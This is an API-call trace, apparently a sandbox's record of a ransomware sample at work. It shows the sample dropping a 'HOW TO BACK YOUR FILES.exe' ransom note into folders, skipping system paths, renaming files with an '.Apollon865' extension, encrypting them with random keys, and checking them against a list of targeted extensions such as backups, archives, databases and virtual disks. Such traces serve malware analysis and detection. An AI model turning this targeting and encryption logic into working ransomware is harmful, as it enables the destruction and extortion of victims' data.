	[0054.331] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zi", cAlternateFileName="")) returned 0
	[0054.331] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0054.332] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0054.332] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi"
	[0054.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0054.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0054.332] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned 39
	[0054.332] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi"
	[0054.332] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.332] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.338] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.338] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x387467b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x387467b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.338] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.338] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.338] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Africa" | out: lpString1="Africa") returned="Africa"
	[0054.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0054.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5528
	[0054.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0054.338] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="America", cAlternateFileName="")) returned 1
	[0054.338] lstrcmpiW (lpString1="America", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.338] lstrcmpiW (lpString1="America", lpString2="Apollon865.txt.exe") returned -1
	[0054.338] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="America" | out: lpString1="America") returned="America"
	[0054.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0054.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5590
	[0054.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0054.338] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Antarctica", cAlternateFileName="ANTARC~1")) returned 1
	[0054.338] lstrcmpiW (lpString1="Antarctica", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.339] lstrcmpiW (lpString1="Antarctica", lpString2="Apollon865.txt.exe") returned -1
	[0054.339] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Antarctica" | out: lpString1="Antarctica") returned="Antarctica"
	[0054.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0054.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5c8f30
	[0054.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0054.339] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Asia", cAlternateFileName="")) returned 1
	[0054.339] lstrcmpiW (lpString1="Asia", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.339] lstrcmpiW (lpString1="Asia", lpString2="Apollon865.txt.exe") returned 1
	[0054.339] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Asia" | out: lpString1="Asia") returned="Asia"
	[0054.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0054.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5660
	[0054.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0054.339] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Atlantic", cAlternateFileName="")) returned 1
	[0054.339] lstrcmpiW (lpString1="Atlantic", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.339] lstrcmpiW (lpString1="Atlantic", lpString2="Apollon865.txt.exe") returned 1
	[0054.339] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Atlantic" | out: lpString1="Atlantic") returned="Atlantic"
	[0054.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0054.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x599450
	[0054.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0054.339] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Australia", cAlternateFileName="AUSTRA~1")) returned 1
	[0054.339] lstrcmpiW (lpString1="Australia", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.339] lstrcmpiW (lpString1="Australia", lpString2="Apollon865.txt.exe") returned 1
	[0054.339] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Australia" | out: lpString1="Australia") returned="Australia"
	[0054.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0054.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5994c0
	[0054.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7c90
	[0054.339] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CET", cAlternateFileName="")) returned 1
	[0054.339] lstrcmpiW (lpString1="CET", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.339] lstrcmpiW (lpString1="CET", lpString2="Apollon865.txt.exe") returned 1
	[0054.339] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="CET" | out: lpString1="CET") returned="CET"
	[0054.340] lstrlenW (lpString="CET") returned 3
	[0054.340] lstrlenW (lpString="Apollon865") returned 10
	[0054.340] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="CST6CDT" | out: lpString1="CST6CDT") returned="CST6CDT"
	[0054.340] lstrlenW (lpString="CST6CDT") returned 7
	[0054.340] lstrlenW (lpString="Apollon865") returned 10
	[0054.340] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="EET" | out: lpString1="EET") returned="EET"
	[0054.340] lstrlenW (lpString="EET") returned 3
	[0054.340] lstrlenW (lpString="Apollon865") returned 10
	[0054.340] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="EST" | out: lpString1="EST") returned="EST"
	[0054.340] lstrlenW (lpString="EST") returned 3
	[0054.340] lstrlenW (lpString="Apollon865") returned 10
	[0054.340] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="EST5EDT" | out: lpString1="EST5EDT") returned="EST5EDT"
	[0054.340] lstrlenW (lpString="EST5EDT") returned 7
	[0054.340] lstrlenW (lpString="Apollon865") returned 10
	[0054.340] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Etc" | out: lpString1="Etc") returned="Etc"
	[0054.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0054.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598768
	[0054.340] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0054.340] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Europe", cAlternateFileName="")) returned 1
	[0054.340] lstrcmpiW (lpString1="Europe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.340] lstrcmpiW (lpString1="Europe", lpString2="Apollon865.txt.exe") returned 1
	[0054.340] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Europe" | out: lpString1="Europe") returned="Europe"
	[0054.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0054.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c56c8
	[0054.340] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x5b7c10
	[0054.340] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1
	[0054.341] lstrcmpiW (lpString1="GMT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.341] lstrcmpiW (lpString1="GMT", lpString2="Apollon865.txt.exe") returned 1
	[0054.341] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="GMT" | out: lpString1="GMT") returned="GMT"
	[0054.341] lstrlenW (lpString="GMT") returned 3
	[0054.341] lstrlenW (lpString="Apollon865") returned 10
	[0054.341] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="HST" | out: lpString1="HST") returned="HST"
	[0054.341] lstrlenW (lpString="HST") returned 3
	[0054.341] lstrlenW (lpString="Apollon865") returned 10
	[0054.341] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Indian" | out: lpString1="Indian") returned="Indian"
	[0054.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0054.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5730
	[0054.341] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0054.341] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MET", cAlternateFileName="")) returned 1
	[0054.341] lstrcmpiW (lpString1="MET", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.341] lstrcmpiW (lpString1="MET", lpString2="Apollon865.txt.exe") returned 1
	[0054.341] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MET" | out: lpString1="MET") returned="MET"
	[0054.341] lstrlenW (lpString="MET") returned 3
	[0054.341] lstrlenW (lpString="Apollon865") returned 10
	[0054.341] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MST" | out: lpString1="MST") returned="MST"
	[0054.341] lstrlenW (lpString="MST") returned 3
	[0054.341] lstrlenW (lpString="Apollon865") returned 10
	[0054.341] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MST7MDT" | out: lpString1="MST7MDT") returned="MST7MDT"
	[0054.341] lstrlenW (lpString="MST7MDT") returned 7
	[0054.341] lstrlenW (lpString="Apollon865") returned 10
	[0054.341] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT.Apollon865") returned 58
	[0054.341] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst7mdt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst7mdt.apollon865"), dwFlags=0x1) returned 1
	[0054.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst7mdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0054.343] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1272) returned 1
	[0054.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.343] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0054.344] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.344] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.344] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x800, lpName=0x0) returned 0x150
	[0054.347] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x800) returned 0x100000
	[0054.347] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0054.348] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.348] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.349] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.349] CloseHandle (hObject=0x150) returned 1
	[0054.349] CloseHandle (hObject=0x14c) returned 1
	[0054.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.349] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pacific", cAlternateFileName="")) returned 1
	[0054.349] lstrcmpiW (lpString1="Pacific", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.349] lstrcmpiW (lpString1="Pacific", lpString2="Apollon865.txt.exe") returned 1
	[0054.349] lstrcmpiW (lpString1="Pacific", lpString2=".") returned 1
	[0054.349] lstrcmpiW (lpString1="Pacific", lpString2="..") returned 1
	[0054.349] lstrcmpiW (lpString1="Pacific", lpString2="windows") returned -1
	[0054.349] lstrcmpiW (lpString1="Pacific", lpString2="bootmgr") returned 1
	[0054.350] lstrcmpiW (lpString1="Pacific", lpString2="temp") returned -1
	[0054.350] lstrcmpiW (lpString1="Pacific", lpString2="pagefile.sys") returned -1
	[0054.350] lstrcmpiW (lpString1="Pacific", lpString2="boot") returned 1
	[0054.350] lstrcmpiW (lpString1="Pacific", lpString2="ids.txt") returned 1
	[0054.350] lstrcmpiW (lpString1="Pacific", lpString2="ntuser.dat") returned 1
	[0054.350] lstrcmpiW (lpString1="Pacific", lpString2="perflogs") returned -1
	[0054.350] lstrcmpiW (lpString1="Pacific", lpString2="MSBuild") returned 1
	[0054.350] lstrlenW (lpString="Pacific") returned 7
	[0054.350] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT") returned 47
	[0054.350] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Pacific" | out: lpString1="Pacific") returned="Pacific"
	[0054.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0054.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5798
	[0054.350] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0054.350] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PST8PDT", cAlternateFileName="")) returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="Apollon865.txt.exe") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2=".") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="..") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="windows") returned -1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="bootmgr") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="temp") returned -1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="pagefile.sys") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="boot") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="ids.txt") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="ntuser.dat") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="perflogs") returned 1
	[0054.350] lstrcmpiW (lpString1="PST8PDT", lpString2="MSBuild") returned 1
	[0054.350] lstrlenW (lpString="PST8PDT") returned 7
	[0054.350] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned 47
	[0054.350] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="PST8PDT" | out: lpString1="PST8PDT") returned="PST8PDT"
	[0054.350] lstrlenW (lpString="PST8PDT") returned 7
	[0054.350] lstrlenW (lpString="Apollon865") returned 10
	[0054.351] lstrlenW (lpString=".dll") returned 4
	[0054.351] lstrcmpiW (lpString1="PST8PDT", lpString2=".dll") returned 1
	[0054.351] lstrlenW (lpString=".lnk") returned 4
	[0054.351] lstrcmpiW (lpString1="PST8PDT", lpString2=".lnk") returned 1
	[0054.351] lstrlenW (lpString=".ini") returned 4
	[0054.351] lstrcmpiW (lpString1="PST8PDT", lpString2=".ini") returned 1
	[0054.351] lstrlenW (lpString=".sys") returned 4
	[0054.351] lstrcmpiW (lpString1="PST8PDT", lpString2=".sys") returned 1
	[0054.351] lstrlenW (lpString="PST8PDT") returned 7
	[0054.351] lstrlenW (lpString="bak") returned 3
	[0054.351] lstrcmpiW (lpString1="PDT", lpString2="bak") returned 1
	[0054.351] lstrlenW (lpString="ba_") returned 3
	[0054.351] lstrcmpiW (lpString1="PDT", lpString2="ba_") returned 1
	[0054.351] lstrlenW (lpString="dbb") returned 3
	[0054.351] lstrcmpiW (lpString1="PDT", lpString2="dbb") returned 1
	[0054.351] lstrlenW (lpString="vmdk") returned 4
	[0054.351] lstrcmpiW (lpString1="8PDT", lpString2="vmdk") returned -1
	[0054.351] lstrlenW (lpString="rar") returned 3
	[0054.351] lstrcmpiW (lpString1="PDT", lpString2="rar") returned -1
	[0054.351] lstrlenW (lpString="zip") returned 3
	[0054.351] lstrcmpiW (lpString1="PDT", lpString2="zip") returned -1
	[0054.351] lstrlenW (lpString="tgz") returned 3
	[0054.351] lstrcmpiW (lpString1="PDT", lpString2="tgz") returned -1
	[0054.351] lstrlenW (lpString="vbox") returned 4
	[0054.351] lstrcmpiW (lpString1="8PDT", lpString2="vbox") returned -1
	[0054.351] lstrlenW (lpString="vdi") returned 3
	[0054.351] lstrcmpiW (lpString1="PDT", lpString2="vdi") returned -1
	[0054.351] lstrlenW (lpString="vhd") returned 3
	[0054.351] lstrcmpiW (lpString1="PDT", lpString2="vhd") returned -1
	[0054.351] lstrlenW (lpString="vhdx") returned 4
	[0054.351] lstrcmpiW (lpString1="8PDT", lpString2="vhdx") returned -1
	[0054.351] lstrlenW (lpString="avhd") returned 4
	[0054.351] lstrcmpiW (lpString1="8PDT", lpString2="avhd") returned -1
	[0054.352] lstrlenW (lpString="db") returned 2
	[0054.352] lstrcmpiW (lpString1="DT", lpString2="db") returned 1
	[0054.352] lstrlenW (lpString="db2") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="db2") returned 1
	[0054.352] lstrlenW (lpString="db3") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="db3") returned 1
	[0054.352] lstrlenW (lpString="dbf") returned 3
